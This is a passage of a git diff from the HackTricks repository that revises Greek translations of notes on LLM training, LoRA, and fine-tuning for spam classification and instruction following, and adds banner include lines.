αριθμός των παρτίδων που θα χρησιμοποιηθούν κατά την αξιολόγηση της τρέχουσας κατάστασης του μοντέλου όταν καλείτε τη `generate_and_print_sample` -- Το αρχικό πλαίσιο: Ποια είναι η αρχική πρόταση που θα χρησιμοποιηθεί όταν καλείτε τη `generate_and_print_sample` +- Η συχνότητα αξιολόγησης: Η συχνότητα για να καλέσει τη `evaluate_model` +- Η επανάληψη αξιολόγησης: Ο αριθμός των παρτίδων που θα χρησιμοποιηθούν κατά την αξιολόγηση της τρέχουσας κατάστασης του μοντέλου όταν καλείται η `generate_and_print_sample` +- Το αρχικό πλαίσιο: Ποια είναι η αρχική πρόταση που θα χρησιμοποιηθεί όταν καλείται η `generate_and_print_sample` - Ο tokenizer ```python # Functions to train the data @@ -830,8 +832,8 @@ model.train() # Back to training model applying all the configurations > [!TIP] > Για να βελτιωθεί ο ρυθμός εκμάθησης, υπάρχουν μερικές σχετικές τεχνικές που ονομάζονται **linear warmup** και **cosine decay.** > -> **Linear warmup** συνίσταται στον καθορισμό ενός αρχικού ρυθμού εκμάθησης και ενός μέγιστου και στη συνεχή ενημέρωσή του μετά από κάθε εποχή. Αυτό συμβαίνει επειδή η έναρξη της εκπαίδευσης με μικρότερες ενημερώσεις βαρών μειώνει τον κίνδυνο το μοντέλο να συναντήσει μεγάλες, αποσταθεροποιητικές ενημερώσεις κατά τη διάρκεια της φάσης εκπαίδευσης.\ -> **Cosine decay** είναι μια τεχνική που **μειώνει σταδιακά τον ρυθμό εκμάθησης** ακολουθώντας μια καμπύλη μισού συνημίτονου **μετά τη φάση warmup**, επιβραδύνοντας τις ενημερώσεις βαρών για **να ελαχιστοποιήσει τον κίνδυνο υπερβολικής εκπαίδευσης** των ελαχίστων απωλειών και να διασφαλίσει τη σταθερότητα της εκπαίδευσης σε μεταγενέστερες φάσεις. +> **Linear warmup** συνίσταται στον καθορισμό ενός αρχικού ρυθμού εκμάθησης και ενός μέγιστου και στη συνεχή ενημέρωσή του μετά από κάθε εποχή. Αυτό συμβαίνει επειδή η έναρξη της εκπαίδευσης με μικρότερες ενημερώσεις βαρών μειώνει τον κίνδυνο το μοντέλο να συναντήσει μεγάλες, αποσταθεροποιητικές ενημερώσεις κατά τη διάρκεια της φάσης εκπαίδευσής του.\ +> **Cosine decay** είναι μια τεχνική που **μειώνει σταδιακά τον ρυθμό εκμάθησης** ακολουθώντας μια καμπύλη μισού συνημίτονου **μετά τη φάση warmup**, επιβραδύνοντας τις ενημερώσεις βαρών για **να ελαχιστοποιήσει τον κίνδυνο υπερβολής** στα ελάχιστα απωλειών και να διασφαλίσει τη σταθερότητα της εκπαίδευσης σε μεταγενέστερες φάσεις. > > _Σημειώστε ότι αυτές οι βελτιώσεις δεν περιλαμβάνονται στον προηγούμενο κώδικα._ @@ -933,9 +935,12 @@ model.eval() # Put in eval mode Υπάρχουν 2 γρήγορα σενάρια για να φορτώσετε τα βάρη GPT2 τοπικά. Για και τα δύο μπορείτε να κλωνοποιήσετε το αποθετήριο [https://github.com/rasbt/LLMs-from-scratch](https://github.com/rasbt/LLMs-from-scratch) τοπικά, στη συνέχεια: -- Το σενάριο [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/gpt_generate.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/gpt_generate.py) θα κατεβάσει όλα τα βάρη και θα μετατρέψει τις μορφές από OpenAI στις μορφές που αναμένονται από το LLM μας. Το σενάριο είναι επίσης προετοιμασμένο με την απαραίτητη διαμόρφωση και με την προτροπή: "Every effort moves you" -- Το σενάριο [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/02_alternative_weight_loading/weight-loading-hf-transformers.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/02_alternative_weight_loading/weight-loading-hf-transformers.ipynb) σας επιτρέπει να φορτώσετε οποιαδήποτε από τα βάρη GPT2 τοπικά (απλώς αλλάξτε τη μεταβλητή `CHOOSE_MODEL`) και να προβλέψετε κείμενο από κάποιες προτροπές. +- Το σενάριο [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/gpt_generate.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/gpt_generate.py) θα κατεβάσει όλα τα βάρη και θα μετατρέψει τις μορφές από το OpenAI στις μορφές που αναμένονται από το LLM μας. Το σενάριο είναι επίσης προετοιμασμένο με την απαραίτητη διαμόρφωση και με την προτροπή: "Every effort moves you" +- Το σενάριο [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/02_alternative_weight_loading/weight-loading-hf-transformers.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/02_alternative_weight_loading/weight-loading-hf-transformers.ipynb) σας επιτρέπει να φορτώσετε οποιαδήποτε από τα βάρη GPT2 τοπικά (απλά αλλάξτε τη μεταβλητή `CHOOSE_MODEL`) και να προβλέψετε κείμενο από κάποιες προτροπές. ## Αναφορές - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) + + +{{#include /banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md b/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md index e913ccedc..7404a36c6 100644 --- a/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md +++ b/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md @@ -1,5 +1,7 @@ # 7.0. Βελτιώσεις LoRA στην προσαρμογή +{{#include /banners/hacktricks-training.md}} + ## Βελτιώσεις LoRA > [!TIP] @@ -9,12 +11,12 @@ 1. **Μειώνει τον Αριθμό των Εκπαιδεύσιμων Παραμέτρων**: Αντί να ενημερώνει ολόκληρη τη μήτρα βαρών στο μοντέλο, το LoRA **χωρίζει** τη μήτρα βαρών σε δύο μικρότερες μήτρες (που ονομάζονται **A** και **B**). Αυτό καθιστά την εκπαίδευση **ταχύτερη** και απαιτεί **λιγότερη μνήμη** επειδή λιγότερες παράμετροι χρειάζεται να ενημερωθούν. -1. Αυτό συμβαίνει επειδή αντί να υπολογίζει την πλήρη ενημέρωση βαρών ενός επιπέδου (μήτρα), την προσεγγίζει σε ένα προϊόν 2 μικρότερων μητρών μειώνοντας την ενημέρωση για υπολογισμό:\ +1. Αυτό συμβαίνει επειδή αντί να υπολογίζει την πλήρη ενημέρωση βαρών ενός επιπέδου (μήτρα), την προσεγγίζει ως το προϊόν 2 μικρότερων μητρών μειώνοντας την ενημέρωση για υπολογισμό:\
-2. **Διατηρεί τους Αρχικούς Βάρη του Μοντέλου Αμετάβλητους**: Το LoRA σας επιτρέπει να διατηρείτε τους αρχικούς βάρους του μοντέλου ίδιους και να ενημερώνετε μόνο τις **νέες μικρές μήτρες** (A και B). Αυτό είναι χρήσιμο γιατί σημαίνει ότι η αρχική γνώση του μοντέλου διατηρείται και προσαρμόζετε μόνο ό,τι είναι απαραίτητο. -3. **Αποτελεσματική Προσαρμογή σε Συγκεκριμένες Εργασίες**: Όταν θέλετε να προσαρμόσετε το μοντέλο σε μια **νέα εργασία**, μπορείτε απλά να εκπαιδεύσετε τις **μικρές μήτρες LoRA** (A και B) αφήνοντας το υπόλοιπο του μοντέλου όπως είναι. Αυτό είναι **πολύ πιο αποτελεσματικό** από το να εκπαιδεύσετε ολόκληρο το μοντέλο ξανά. +2. **Διατηρεί τους Αρχικούς Βάρη του Μοντέλου Αμετάβλητους**: Το LoRA σας επιτρέπει να διατηρείτε τους αρχικούς βάρους του μοντέλου ίδιους, και ενημερώνει μόνο τις **νέες μικρές μήτρες** (A και B). Αυτό είναι χρήσιμο γιατί σημαίνει ότι η αρχική γνώση του μοντέλου διατηρείται, και απλώς προσαρμόζετε ό,τι είναι απαραίτητο. +3. **Αποτελεσματική Προσαρμογή για Συγκεκριμένες Εργασίες**: Όταν θέλετε να προσαρμόσετε το μοντέλο σε μια **νέα εργασία**, μπορείτε απλώς να εκπαιδεύσετε τις **μικρές μήτρες LoRA** (A και B) αφήνοντας το υπόλοιπο του μοντέλου όπως είναι. Αυτό είναι **πολύ πιο αποτελεσματικό** από το να εκπαιδεύσετε ολόκληρο το μοντέλο ξανά. 4. **Αποτελεσματικότητα Αποθήκευσης**: Μετά την προσαρμογή, αντί να αποθηκεύσετε ένα **εντελώς νέο μοντέλο** για κάθε εργασία, χρειάζεται μόνο να αποθηκεύσετε τις **μήτρες LoRA**, οι οποίες είναι πολύ μικρές σε σύγκριση με το ολόκληρο μοντέλο. Αυτό διευκολύνει την προσαρμογή του μοντέλου σε πολλές εργασίες χωρίς να χρησιμοποιείτε υπερβολικό χώρο αποθήκευσης. Για να υλοποιήσετε τα LoraLayers αντί για γραμμικά κατά τη διάρκεια μιας προσαρμογής, προτείνεται αυτός ο κώδικας εδώ [https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb): @@ -59,3 +61,5 @@ replace_linear_with_lora(module, rank, alpha) ## Αναφορές - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) + +{{#include /banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md b/src/AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md index 32348b664..c0cefe0e9 100644 --- a/src/AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md +++ b/src/AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md @@ -1,18 +1,20 @@ # 7.1. Fine-Tuning for Classification -## What is +{{#include /banners/hacktricks-training.md}} + +## Τι είναι Η προσαρμογή είναι η διαδικασία λήψης ενός **προεκπαιδευμένου μοντέλου** που έχει μάθει **γενικά γλωσσικά μοτίβα** από τεράστιες ποσότητες δεδομένων και **προσαρμογής** του για να εκτελεί μια **συγκεκριμένη εργασία** ή να κατανοεί γλώσσα συγκεκριμένης περιοχής. Αυτό επιτυγχάνεται με τη συνέχιση της εκπαίδευσης του μοντέλου σε ένα μικρότερο, ειδικό για την εργασία σύνολο δεδομένων, επιτρέποντάς του να προσαρμόσει τις παραμέτρους του ώστε να ταιριάζει καλύτερα στις αποχρώσεις των νέων δεδομένων, ενώ αξιοποιεί τη γενική γνώση που έχει ήδη αποκτήσει. Η προσαρμογή επιτρέπει στο μοντέλο να παρέχει πιο ακριβή και σχετικά αποτελέσματα σε εξειδικευμένες εφαρμογές χωρίς την ανάγκη εκπαίδευσης ενός νέου μοντέλου από την αρχή. > [!TIP] -> Καθώς η προεκπαίδευση ενός LLM που "κατανοεί" το κείμενο είναι αρκετά δαπανηρή, είναι συνήθως πιο εύκολο και φθηνότερο να προσαρμόσουμε ανοιχτού κώδικα προεκπαιδευμένα μοντέλα για να εκτελούν μια συγκεκριμένη εργασία που θέλουμε να εκτελούν. +> Δεδομένου ότι η προεκπαίδευση ενός LLM που "κατανοεί" το κείμενο είναι αρκετά δαπανηρή, είναι συνήθως πιο εύκολο και φθηνότερο να προσαρμόσουμε ανοιχτού κώδικα προεκπαιδευμένα μοντέλα για να εκτελούν μια συγκεκριμένη εργασία που θέλουμε να εκτελούν. > [!TIP] -> Ο στόχος αυτής της ενότητας είναι να δείξει πώς να προσαρμόσουμε ένα ήδη προεκπαιδευμένο μοντέλο, έτσι ώστε αντί να δημιουργεί νέο κείμενο, το LLM να επιλέγει να δώσει τις **πιθανότητες του δεδομένου κειμένου να κατηγοριοποιηθεί σε κάθε μία από τις δεδομένες κατηγορίες** (όπως αν ένα κείμενο είναι spam ή όχι). +> Ο στόχος αυτής της ενότητας είναι να δείξει πώς να προσαρμόσουμε ένα ήδη προεκπαιδευμένο μοντέλο, ώστε αντί να παράγει νέο κείμενο, το LLM να επιλέγει να δώσει τις **πιθανότητες του δεδομένου κειμένου να κατηγοριοποιηθεί σε κάθε μία από τις δεδομένες κατηγορίες** (όπως αν ένα κείμενο είναι spam ή όχι). -## Preparing the data set +## Προετοιμασία του συνόλου δεδομένων -### Data set size +### Μέγεθος συνόλου δεδομένων Φυσικά, για να προσαρμόσετε ένα μοντέλο χρειάζεστε κάποια δομημένα δεδομένα για να εξειδικεύσετε το LLM σας. Στο παράδειγμα που προτείνεται στο [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb), το GPT2 προσαρμόζεται για να ανιχνεύει αν ένα email είναι spam ή όχι χρησιμοποιώντας τα δεδομένα από [https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip](https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip)_._ @@ -20,21 +22,21 @@ Στη συνέχεια, το **70%** του συνόλου δεδομένων χρησιμοποιείται για **εκπαίδευση**, το **10%** για **επικύρωση** και το **20%** για **δοκιμή**. -- Το **σύνολο επικύρωσης** χρησιμοποιείται κατά τη διάρκεια της φάσης εκπαίδευσης για να προσαρμόσει τις **υπερπαραμέτρους** του μοντέλου και να λάβει αποφάσεις σχετικά με την αρχιτεκτονική του μοντέλου, βοηθώντας αποτελεσματικά στην πρόληψη της υπερβολικής προσαρμογής παρέχοντας ανατροφοδότηση σχετικά με την απόδοση του μοντέλου σε αόρατα δεδομένα. Επιτρέπει επαναληπτικές βελτιώσεις χωρίς να προκαλεί προκατάληψη στην τελική αξιολόγηση. +- Το **σύνολο επικύρωσης** χρησιμοποιείται κατά τη διάρκεια της φάσης εκπαίδευσης για να προσαρμόσει τις **υπερπαραμέτρους** του μοντέλου και να λάβει αποφάσεις σχετικά με την αρχιτεκτονική του μοντέλου, βοηθώντας αποτελεσματικά στην πρόληψη της υπερβολικής προσαρμογής παρέχοντας ανατροφοδότηση σχετικά με την απόδοση του μοντέλου σε αόρατα δεδομένα. Επιτρέπει επαναληπτικές βελτιώσεις χωρίς να προκαταβάλει την τελική αξιολόγηση. - Αυτό σημαίνει ότι αν και τα δεδομένα που περιλαμβάνονται σε αυτό το σύνολο δεδομένων δεν χρησιμοποιούνται άμεσα για την εκπαίδευση, χρησιμοποιούνται για να ρυθμίσουν τις καλύτερες **υπερπαραμέτρους**, οπότε αυτό το σύνολο δεν μπορεί να χρησιμοποιηθεί για την αξιολόγηση της απόδοσης του μοντέλου όπως το σύνολο δοκιμής. - Αντίθετα, το **σύνολο δοκιμής** χρησιμοποιείται **μόνο μετά** την πλήρη εκπαίδευση του μοντέλου και την ολοκλήρωση όλων των ρυθμίσεων; παρέχει μια αμερόληπτη εκτίμηση της ικανότητας του μοντέλου να γενικεύει σε νέα, αόρατα δεδομένα. Αυτή η τελική αξιολόγηση στο σύνολο δοκιμής δίνει μια ρεαλιστική ένδειξη του πώς αναμένεται να αποδώσει το μοντέλο σε πραγματικές εφαρμογές. -### Entries length +### Μήκος καταχωρίσεων -Καθώς το παράδειγμα εκπαίδευσης αναμένει καταχωρίσεις (κείμενα email σε αυτή την περίπτωση) της ίδιας μήκους, αποφασίστηκε να γίνει κάθε καταχώριση όσο μεγάλη είναι η μεγαλύτερη προσθέτοντας τα ids του `<|endoftext|>` ως padding. +Καθώς το παράδειγμα εκπαίδευσης αναμένει καταχωρίσεις (κείμενα email σε αυτή την περίπτωση) του ίδιου μήκους, αποφασίστηκε να γίνει κάθε καταχώριση όσο μεγάλη είναι η μεγαλύτερη προσθέτοντας τα ids του `<|endoftext|>` ως padding. -### Initialize the model +### Αρχικοποίηση του μοντέλου Χρησιμοποιώντας τα προεκπαιδευμένα βάρη ανοιχτού κώδικα, αρχικοποιήστε το μοντέλο για εκπαίδευση. Έχουμε ήδη κάνει αυτό πριν και ακολουθώντας τις οδηγίες του [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb) μπορείτε εύκολα να το κάνετε. -## Classification head +## Κεφαλή κατηγοριοποίησης -Σε αυτό το συγκεκριμένο παράδειγμα (προβλέποντας αν ένα κείμενο είναι spam ή όχι), δεν μας ενδιαφέρει να προσαρμόσουμε σύμφωνα με το πλήρες λεξιλόγιο του GPT2 αλλά θέλουμε μόνο το νέο μοντέλο να λέει αν το email είναι spam (1) ή όχι (0). Επομένως, θα **τροποποιήσουμε την τελική στρώση που** δίνει τις πιθανότητες ανά token του λεξιλογίου για μία που δίνει μόνο τις πιθανότητες του να είναι spam ή όχι (οπότε όπως ένα λεξιλόγιο 2 λέξεων). +Σε αυτό το συγκεκριμένο παράδειγμα (προβλέποντας αν ένα κείμενο είναι spam ή όχι), δεν μας ενδιαφέρει να προσαρμόσουμε σύμφωνα με το πλήρες λεξιλόγιο του GPT2 αλλά θέλουμε μόνο το νέο μοντέλο να λέει αν το email είναι spam (1) ή όχι (0). Επομένως, θα **τροποποιήσουμε το τελικό επίπεδο που** δίνει τις πιθανότητες ανά token του λεξιλογίου για ένα που δίνει μόνο τις πιθανότητες του να είναι spam ή όχι (οπότε όπως ένα λεξιλόγιο 2 λέξεων). ```python # This code modified the final layer with a Linear one with 2 outs num_classes = 2 @@ -47,7 +49,7 @@ out_features=num_classes ``` ## Παράμετροι προς ρύθμιση -Για να γίνει η ρύθμιση γρήγορα, είναι πιο εύκολο να μην ρυθμιστούν όλες οι παράμετροι αλλά μόνο μερικές τελικές. Αυτό συμβαίνει επειδή είναι γνωστό ότι τα κατώτερα επίπεδα γενικά καταγράφουν βασικές γλωσσικές δομές και εφαρμοσμένη σημασιολογία. Έτσι, απλώς **η ρύθμιση των τελευταίων επιπέδων είναι συνήθως αρκετή και πιο γρήγορη**. +Για να γίνει η ρύθμιση γρήγορα, είναι πιο εύκολο να μην ρυθμιστούν όλες οι παράμετροι αλλά μόνο μερικές τελικές. Αυτό συμβαίνει επειδή είναι γνωστό ότι τα κατώτερα επίπεδα γενικά καταγράφουν βασικές γλωσσικές δομές και σημασιολογίες που είναι εφαρμόσιμες. Έτσι, απλώς **η ρύθμιση των τελευταίων επιπέδων είναι συνήθως αρκετή και πιο γρήγορη**. ```python # This code makes all the parameters of the model unrtainable for param in model.parameters(): @@ -108,3 +110,5 @@ return loss ## Αναφορές - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) + +{{#include /banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md b/src/AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md index 6345b607f..8c44afd9d 100644 --- a/src/AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md +++ b/src/AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md @@ -1,11 +1,13 @@ # 7.2. Ρύθμιση για να ακολουθεί οδηγίες +{{#include /banners/hacktricks-training.md}} + > [!TIP] > Ο στόχος αυτής της ενότητας είναι να δείξει πώς να **ρυθμίσουμε ένα ήδη προεκπαιδευμένο μοντέλο για να ακολουθεί οδηγίες** αντί να παράγει απλώς κείμενο, για παράδειγμα, απαντώντας σε εργασίες ως chatbot. ## Dataset -Για να ρυθμίσουμε ένα LLM να ακολουθεί οδηγίες, είναι απαραίτητο να έχουμε ένα dataset με οδηγίες και απαντήσεις για να ρυθμίσουμε το LLM. Υπάρχουν διάφορες μορφές για να εκπαιδεύσουμε ένα LLM να ακολουθεί οδηγίες, για παράδειγμα: +Για να ρυθμίσουμε ένα LLM να ακολουθεί οδηγίες, είναι απαραίτητο να έχουμε ένα σύνολο δεδομένων με οδηγίες και απαντήσεις για να ρυθμίσουμε το LLM. Υπάρχουν διάφορες μορφές για να εκπαιδεύσουμε ένα LLM να ακολουθεί οδηγίες, για παράδειγμα: - Το παράδειγμα στυλ προτροπής Apply Alpaca: ```csharp @@ -49,11 +51,11 @@ desired_response = f"\n\n### Response:\n{data[50]['output']}" print(model_input + desired_response) ``` -Then, as always, it's needed to separate the dataset in sets for training, validation and testing. +Τότε, όπως πάντα, είναι απαραίτητο να διαχωρίσουμε το σύνολο δεδομένων σε σύνολα για εκπαίδευση, επικύρωση και δοκιμή. ## Batching & Data Loaders -Then, it's needed to batch all the inputs and expected outputs for the training. For this, it's needed to: +Τότε, είναι απαραίτητο να ομαδοποιήσουμε όλες τις εισόδους και τις αναμενόμενες εξόδους για την εκπαίδευση. Για αυτό, είναι απαραίτητο να: - Tokenize the texts - Pad all the samples to the same length (usually the length will be as big as the context length used to pre-train the LLM) @@ -61,21 +63,21 @@ Then, it's needed to batch all the inputs and expected outputs for the training. - Replace some padding tokens with -100 to exclude them from the training loss: After the first `endoftext` token, substitute all the other `endoftext` tokens by -100 (because using `cross_entropy(...,ignore_index=-100)` means that it'll ignore targets with -100) - \[Optional] Mask using -100 also all the tokens belonging to the question so the LLM learns only how to generate the answer. In the Apply Alpaca style this will mean to mask everything until `### Response:` -With this created, it's time to crate the data loaders for each dataset (training, validation and test). +Με αυτό δημιουργημένο, είναι ώρα να δημιουργήσουμε τους φορτωτές δεδομένων για κάθε σύνολο δεδομένων (εκπαίδευση, επικύρωση και δοκιμή). ## Load pre-trained LLM & Fine tune & Loss Checking -It's needed to load a pre-trained LLM to fine tune it. This was already discussed in other pages. Then, it's possible to use the previously used training function to fine tune the LLM. +Είναι απαραίτητο να φορτώσουμε ένα προεκπαιδευμένο LLM για να το βελτιώσουμε. Αυτό έχει ήδη συζητηθεί σε άλλες σελίδες. Τότε, είναι δυνατό να χρησιμοποιήσουμε τη λειτουργία εκπαίδευσης που χρησιμοποιήθηκε προηγουμένως για να βελτιώσουμε το LLM. -During the training it's also possible to see how the training loss and validation loss varies during the epochs to see if the loss is getting reduced and if overfitting is ocurring.\ -Remember that overfitting occurs when the training loss is getting reduced but the validation loss is not being reduced or even increasing. To avoid this, the simplest thing to do is to stop the training at the epoch where this behaviour start. +Κατά τη διάρκεια της εκπαίδευσης είναι επίσης δυνατό να δούμε πώς η απώλεια εκπαίδευσης και η απώλεια επικύρωσης ποικίλλουν κατά τη διάρκεια των εποχών για να δούμε αν η απώλεια μειώνεται και αν συμβαίνει υπερβολική προσαρμογή.\ +Θυμηθείτε ότι η υπερβολική προσαρμογή συμβαίνει όταν η απώλεια εκπαίδευσης μειώνεται αλλά η απώλεια επικύρωσης δεν μειώνεται ή ακόμη και αυξάνεται. Για να το αποφύγουμε, το πιο απλό πράγμα που πρέπει να κάνουμε είναι να σταματήσουμε την εκπαίδευση στην εποχή όπου αυτή η συμπεριφορά αρχίζει. ## Response Quality -As this is not a classification fine-tune were it's possible to trust more the loss variations, it's also important to check the quality of the responses in the testing set. Therefore, it's recommended to gather the generated responses from all the testing sets and **check their quality manually** to see if there are wrong answers (note that it's possible for the LLM to create correctly the format and syntax of the response sentence but gives a completely wrong response. The loss variation won't reflect this behaviour).\ -Note that it's also possible to perform this review by passing the generated responses and the expected responses to **other LLMs and ask them to evaluate the responses**. +Καθώς αυτό δεν είναι μια εκπαίδευση ταξινόμησης όπου είναι δυνατό να εμπιστευτούμε περισσότερο τις μεταβολές της απώλειας, είναι επίσης σημαντικό να ελέγξουμε την ποιότητα των απαντήσεων στο σύνολο δοκιμών. Επομένως, συνιστάται να συγκεντρώσουμε τις παραγόμενες απαντήσεις από όλα τα σύνολα δοκιμών και **να ελέγξουμε την ποιότητά τους χειροκίνητα** για να δούμε αν υπάρχουν λανθασμένες απαντήσεις (σημειώστε ότι είναι δυνατό για το LLM να δημιουργήσει σωστά τη μορφή και τη σύνταξη της πρότασης απάντησης αλλά να δώσει μια εντελώς λανθασμένη απάντηση. Η μεταβολή της απώλειας δεν θα αντικατοπτρίζει αυτή τη συμπεριφορά).\ +Σημειώστε ότι είναι επίσης δυνατό να πραγματοποιήσουμε αυτή την ανασκόπηση περνώντας τις παραγόμενες απαντήσεις και τις αναμενόμενες απαντήσεις σε **άλλα LLMs και να τους ζητήσουμε να αξιολογήσουν τις απαντήσεις**. -Other test to run to verify the quality of the responses: +Άλλες δοκιμές που πρέπει να εκτελούνται για να επαληθεύσουν την ποιότητα των απαντήσεων: 1. **Measuring Massive Multitask Language Understanding (**[**MMLU**](https://arxiv.org/abs/2009.03300)**):** MMLU evaluates a model's knowledge and problem-solving abilities across 57 subjects, including humanities, sciences, and more. It uses multiple-choice questions to assess understanding at various difficulty levels, from elementary to advanced professional. 2. [**LMSYS Chatbot Arena**](https://arena.lmsys.org): This platform allows users to compare responses from different chatbots side by side. Users input a prompt, and multiple chatbots generate responses that can be directly compared. @@ -89,7 +91,7 @@ Other test to run to verify the quality of the responses: 10. **Stanford Question Answering Dataset (**[**SQuAD**](https://rajpurkar.github.io/SQuAD-explorer/)**):** SQuAD consists of questions about Wikipedia articles, where models must comprehend the text to answer accurately. 11. [**TriviaQA**](https://nlp.cs.washington.edu/triviaqa/)**:** A large-scale dataset of trivia questions and answers, along with evidence documents. -and many many more +και πολλά πολλά άλλα ## Follow instructions fine-tuning code @@ -98,3 +100,5 @@ You can find an example of the code to perform this fine tuning in [https://gith ## References - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) + +{{#include /banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/README.md b/src/AI/AI-llm-architecture/README.md index af0d3ceed..61cfcbc62 100644 --- a/src/AI/AI-llm-architecture/README.md +++ b/src/AI/AI-llm-architecture/README.md @@ -1,5 +1,7 @@ # LLM Training - Data Preparation +{{#include /banners/hacktricks-training.md}} + **Αυτές είναι οι σημειώσεις μου από το πολύ προτεινόμενο βιβλίο** [**https://www.manning.com/books/build-a-large-language-model-from-scratch**](https://www.manning.com/books/build-a-large-language-model-from-scratch) **με κάποιες επιπλέον πληροφορίες.** ## Basic Information @@ -34,7 +36,7 @@ > Ο στόχος αυτής της τρίτης φάσης είναι πολύ απλός: **Αναθέστε σε κάθε από τα προηγούμενα tokens στο λεξιλόγιο έναν διανύσμα των επιθυμητών διαστάσεων για να εκπαιδεύσετε το μοντέλο.** Κάθε λέξη στο λεξιλόγιο θα είναι ένα σημείο σε έναν χώρο X διαστάσεων.\ > Σημειώστε ότι αρχικά η θέση κάθε λέξης στο χώρο είναι απλώς "τυχαία" και αυτές οι θέσεις είναι εκπαιδεύσιμες παράμετροι (θα βελτιωθούν κατά τη διάρκεια της εκπαίδευσης). > -> Επιπλέον, κατά τη διάρκεια της ενσωμάτωσης tokens **δημιουργείται ένα άλλο επίπεδο ενσωματώσεων** που αντιπροσωπεύει (σε αυτή την περίπτωση) τη **απόλυτη θέση της λέξης στην προτασή εκπαίδευσης**. Με αυτόν τον τρόπο, μια λέξη σε διαφορετικές θέσεις στην πρόταση θα έχει διαφορετική αναπαράσταση (νόημα). +> Επιπλέον, κατά τη διάρκεια της ενσωμάτωσης tokens **δημιουργείται ένα άλλο επίπεδο ενσωματώσεων** που αντιπροσωπεύει (σε αυτή την περίπτωση) την **απόλυτη θέση της λέξης στην προτασή εκπαίδευσης**. Με αυτόν τον τρόπο, μια λέξη σε διαφορετικές θέσεις στην πρόταση θα έχει διαφορετική αναπαράσταση (νόημα). {{#ref}} 3.-token-embeddings.md @@ -73,7 +75,7 @@ ## 7.0. LoRA Improvements in fine-tuning > [!TIP] -> Η χρήση του **LoRA μειώνει πολύ την υπολογιστική ισχύ** που απαιτείται για να **βελτιστοποιήσετε** ήδη εκπαιδευμένα μοντέλα. +> Η χρήση του **LoRA μειώνει πολύ την υπολογιστική ισχύ** που απαιτείται για να **βελτιώσετε** ήδη εκπαιδευμένα μοντέλα. {{#ref}} 7.0.-lora-improvements-in-fine-tuning.md @@ -82,7 +84,7 @@ ## 7.1. Fine-Tuning for Classification > [!TIP] -> Ο στόχος αυτής της ενότητας είναι να δείξει πώς να βελτιστοποιήσετε ένα ήδη προεκπαιδευμένο μοντέλο έτσι ώστε αντί να παράγει νέο κείμενο, το LLM να επιλέγει να δώσει τις **πιθανότητες του δεδομένου κειμένου να κατηγοριοποιηθεί σε κάθε μία από τις δεδομένες κατηγορίες** (όπως αν ένα κείμενο είναι spam ή όχι). +> Ο στόχος αυτής της ενότητας είναι να δείξει πώς να βελτιώσετε ένα ήδη προεκπαιδευμένο μοντέλο έτσι ώστε αντί να παράγει νέο κείμενο, το LLM να επιλέγει να δώσει τις **πιθανότητες του δεδομένου κειμένου να κατηγοριοποιηθεί σε κάθε μία από τις δεδομένες κατηγορίες** (όπως αν ένα κείμενο είναι spam ή όχι). {{#ref}} 7.1.-fine-tuning-for-classification.md @@ -91,8 +93,10 @@ ## 7.2. Fine-Tuning to follow instructions > [!TIP] -> Ο στόχος αυτής της ενότητας είναι να δείξει πώς να **βελτιστοποιήσετε ένα ήδη προεκπαιδευμένο μοντέλο για να ακολουθεί οδηγίες** αντί να παράγει απλώς κείμενο, για παράδειγμα, απαντώντας σε εργασίες ως chatbot. +> Ο στόχος αυτής της ενότητας είναι να δείξει πώς να **βελτιώσετε ένα ήδη προεκπαιδευμένο μοντέλο για να ακολουθεί οδηγίες** αντί να παράγει απλώς κείμενο, για παράδειγμα, απαντώντας σε εργασίες ως chatbot. {{#ref}} 7.2.-fine-tuning-to-follow-instructions.md {{#endref}} + +{{#include /banners/hacktricks-training.md}} diff --git a/src/SUMMARY.md b/src/SUMMARY.md index d902fdb93..f83536cbe 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -149,6 +149,7 @@ - [macOS AppleFS](macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md) - [macOS Bypassing 